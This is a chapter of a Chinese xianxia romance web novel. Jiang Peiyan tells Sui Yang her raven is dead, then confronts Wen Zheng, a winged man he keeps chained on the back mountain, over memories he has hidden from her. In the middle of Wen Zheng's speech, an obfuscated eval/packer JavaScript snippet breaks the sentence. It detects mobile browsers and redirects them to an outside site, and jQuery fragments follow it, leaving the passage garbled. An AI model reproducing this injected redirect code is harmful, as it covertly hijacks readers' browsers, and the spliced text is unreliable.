55. 第 55 章

作品:《跪求师兄放我去死

    第五十五章


    -


    江霈言那骤然转冷的情绪仿佛是随泱的错觉,在她转眸想要探究清楚的时候,身旁的人已经变得与从前别无二样,就算是随泱,也看不出江霈言身上有任何的不妥。


    可是,随泱清楚的明白,一定是发生了什么,她眸光轻闪了闪,盯着江霈言的眸色渐渐沉了下去,她抿了抿唇,身子微微挺直,整个人远离了江霈言半分,“师兄,我的渡鸦呢?”


    随泱又问了一遍,只是这次加上了我的两个字,重音也落在了这两个字上。她眸光闪烁着,望向江霈言时,却有着一丝执拗。


    江霈言如何不清楚随泱的心思,他向来是了解随泱的,无论是从前还是……不远的过去。


    他清楚地知道,面前的人虽仍旧是先前的语气,可实际上,情绪已经有了波动,倘若自己不给出一个结果,想来面前的人定然是要同自己翻脸的。


    江霈言的眸光微垂,他伸出手,修长的指节绕着随泱的一缕发,他拨弄着那缕发,看着那缕长发在自己的指尖被盘玩成了各种各样的姿势。


    “它死了。”见随泱像是受到了惊吓一般,猛地瞪圆眼睛朝着自己看过来,江霈言移开视线,不再同她对视,而是转头看向另一侧,“清风山出事那天,它被波及,死在了山上。”


    随泱的呼吸声渐渐变得有些粗重,她垂在身侧的双手不自觉握成了拳,指腹相抵,皮肉被压得发白。


    怎么会呢?他不是总说自己是先知,等到随泱完成了她该完成的,自己便也从这件事里解脱了,可以去当一只自由自在的鸟儿,怎么会死呢?


    “我知晓你养他养久了有些感情,早些时候,我便寻了个好地方,将它埋下去了。”


    随泱一直没有说话,她沉默地看着身前的某一片,眸光闪烁着,总是凝不成点。


    她不喜欢那渡鸦,理应不喜欢那渡鸦,从初识起,那渡鸦的出现,便预示着死亡,每每见到他,随泱便总觉得心口发闷,那莫名的情绪压在她的身上,几乎要将她整个人压垮。


    如今渡鸦死了,自己反倒是死而复生,她应当感到高兴才是,自己的身上再没有了那莫名的枷锁,自己彻底自由了。


    可是,该是开心的人,却是有些怔怔地抬手,指尖贴上脸颊,感受到成片的濡湿。


    怎么在哭呢?


    随泱觉得自己应当是不上心的,可是,怎么偏偏在哭呢,她不明白。怎么也想不明白。


    江霈言安静地坐在随泱身侧,视线触及随泱的泪时,心口蓦地一滞,虚空之中,无形的大手死死攥住了他的心脏,扯得他整个人都发痛,仿佛整个人都要被那股力道撕成一片又一片的。


    垂眸躲开了随泱的视线,江霈言几乎是有些慌乱的站起身,他的背脊挺得笔直,似是为了遮掩他乱如麻线的内心,“泱泱,你大病初愈,该好好休息,我晚些时候再来看你……”声音顿了顿,江霈言飞快地看向随泱,而后又赶忙移开了视线,一副并未看向随泱的模样,“都过去了,往事意矣,泱泱,等养好身子,你想去哪里便可以去哪里,想做什么便可以做什么,再不用战战兢兢的了。”


    随泱并没有回应江霈言的话,她垂着眼,像是没有听到江霈言的那些话一样。


    江霈言从屋子里匆匆离开,他的脚步略有些快也有些不着章法,等到在外面站定,缓缓吐出几口气,神色才渐渐如常。


    他垂眸似乎在思索着什么,片刻后抬脚,朝着后山走了过去。


    自大半年前清风山出事后,江霈言在雷雨之中经受刺激,激起了从前种种,一身仙骨也醒了过来,自此,江霈言不仅仅是江霈言,而是从前那个这世上最后的仙君,蘅泽仙君。


    因着他的身份,又或是什么旁的原因,周幸将整个清风山献上,毕竟从前仙人住着的仙都,也在几百年前的浩劫之中坍塌损毁。


    如今整个清风山,便只属于蘅泽仙君,没有他的允许,没有人能够上山来,而这大半年来,除了赵侯爷的嫡女赵蕴以外,几乎没有人往山上来,自是没有人知道,清风山后山,原先的思过崖,如今仙气弥漫,雾气拔地而起,将整个思过崖笼罩,如今的思过崖,仿佛是一座监牢一般,除了江霈言以外,没有人知道那迷雾之中,究竟有些什么。


    江霈言沉着脸,踏进了那片迷雾。


    迷雾当中,四根玄铁锁链仿佛是凭空生出的,尾端都藏入了雾气当中,不知究竟是锁在了什么东西上方,只知道锁链链身绷得笔直。


    而锁链的另一端,则是困住了一个人的四肢。


    那人穿着黑衣,乍看过去,黑色之上,有着一滩又一滩的神色痕迹。


    那张脸垂着,看不大清长相,走得近了,才能看清一对黑色的翅膀,从那人背上生长而出,上头的羽毛泛着流光。


    听到脚步声,垂着头的人缓缓抬起头来,一双眼睛漆黑如墨。


    江霈言没有说话,他停在那人,或是说那妖面前,眸光深沉如水,“泱泱醒了。”


    一直没什么反应,仿佛看不见江霈言的人忽然有了动静,锁链相撞发出声响,被锁在那里的人挣扎起来,“我要见随泱。”


    见江霈言不答,那人的情绪变得激动起来,他更加奋力地挣扎起来,即便每一下挣扎都会引来反噬,疼痛在身上蔓延,几乎让人麻木。


    “江霈言!我要见随泱,你除非杀了我,不然我总会见到随泱的!等她知道了一切,绝不会原谅你,你这个……卑劣的小人!”


    江霈言的脸色并没有什么变化,他坦然地接受任何评价,“泱泱不记得从前的事情。”


    挣扎的人动作停了停,他有些呆愣地看向江霈言,声音在喉结里打转,过了许久,才找到自己的声音一般,带着颤抖,“不可能。”


    “我都记起了一切,随泱怎么会不记得从前的事情呢——”声音顿住,男人盯着江霈言的瞳孔圆了些,“江霈言,是不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534071|164605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是你做了手脚!一定是你做了手脚,你想要不想泱泱知道,你设计她,用她的性命催化自己仙骨重生的事情,你才做了手脚,让泱泱忘记了从前种种。”


    男人的声音顿了顿,他溢出有些破碎的笑声,“江霈言,你心里清楚,若是随泱知道你设计利用它,她是绝不会原谅你的,永生永世都不会原谅你。”


    “所以,你将记起一切的我关在这里,你怕我告诉随泱真相。”男人笑了起来,那些笑声破碎绵延,像是地狱中的鬼嚎。听得人心凉。


    “闭嘴。”江霈言的声音有些冷,“温铮,你以为就算泱泱记起了一切,她会原谅你不成?!”


    被锁链牢牢锁住的人没了声音,那双漆黑的眼睛映出了江霈言的身影,从来没有什么情绪的温铮,呼吸声陡然变重,他死死盯着江霈言,像是想要将面前的人扒皮抽骨一般,恶狠狠地盯着他。


    江霈言却是笑了起来,只是那笑有几分森然,“泱泱便是恨我,也只恨我一意孤行,瞒着她行事。可是温铮,你与泱泱之间却是切实横着一城人的性命。”


    “你应当要感激我,若非我的筹谋,你不会与泱泱毫无隔阂地再相处二十年。”江霈言往前走了半步,他盯着温铮,一字一顿道,“到今日,从前的事情我不愿泱泱再想起来。”


    “所以,你老老实实地留在这里,你仍旧有漫长的生命,只是,我不会再让你见到泱泱了。”江霈言站直了腰,他看向温铮,语速稍显缓慢,“你的那些因果,你自己承受,我绝不会让泱泱再次被你的因果缠上,这一生,她只是随泱,身上不再背负一丝一毫的责任,只会轻松自在地活下去。”


    话音落下,江霈言转身便走,只是,刚刚走出去两步,温铮的声音便响了起来。


    “江霈言,你在害怕。”温铮的声音中含有淬毒一般的笑意,他盯着江霈言的背脊,一字一顿,“从最开始,从你发现自己对随泱的龌龊心思起,你便已经想要将我从随泱的身边赶走了,因为你清楚地知道,我与随泱之间,有着你永远没办法取代的经历。”


    “我是杀了很多的人,即便如此,我与随泱依旧是家人。随泱即便怪我,也不会当真不管我。”温铮咳嗽了起来,声音因此变得有些断断续续的。


    “可是江霈言,随泱从一开始,便对你不信任,若是让她记起,你江霈言,高高在上的,心怀天下的蘅泽仙君,不过是个杀父弑母,囚禁兄长的卑劣小人,随泱才是绝不会继续与你相交。更别提你想得那些美事了。”


    江霈言并没有回头,他的情绪已然不似先前那般波动,反倒变得冷静许多。


    “温铮,可怜泱泱将你当作亲弟弟,将你当作家人,可你到如今,都不曾真正明白过泱泱。”江霈言缓缓吐出一口气,他依旧不会回头,“若是泱泱记起了从前的一切,她定会亲手杀了你,替那一城无辜的百姓报仇。”


    “她从来都是那样,将那些不该她背着的责任背在身上。”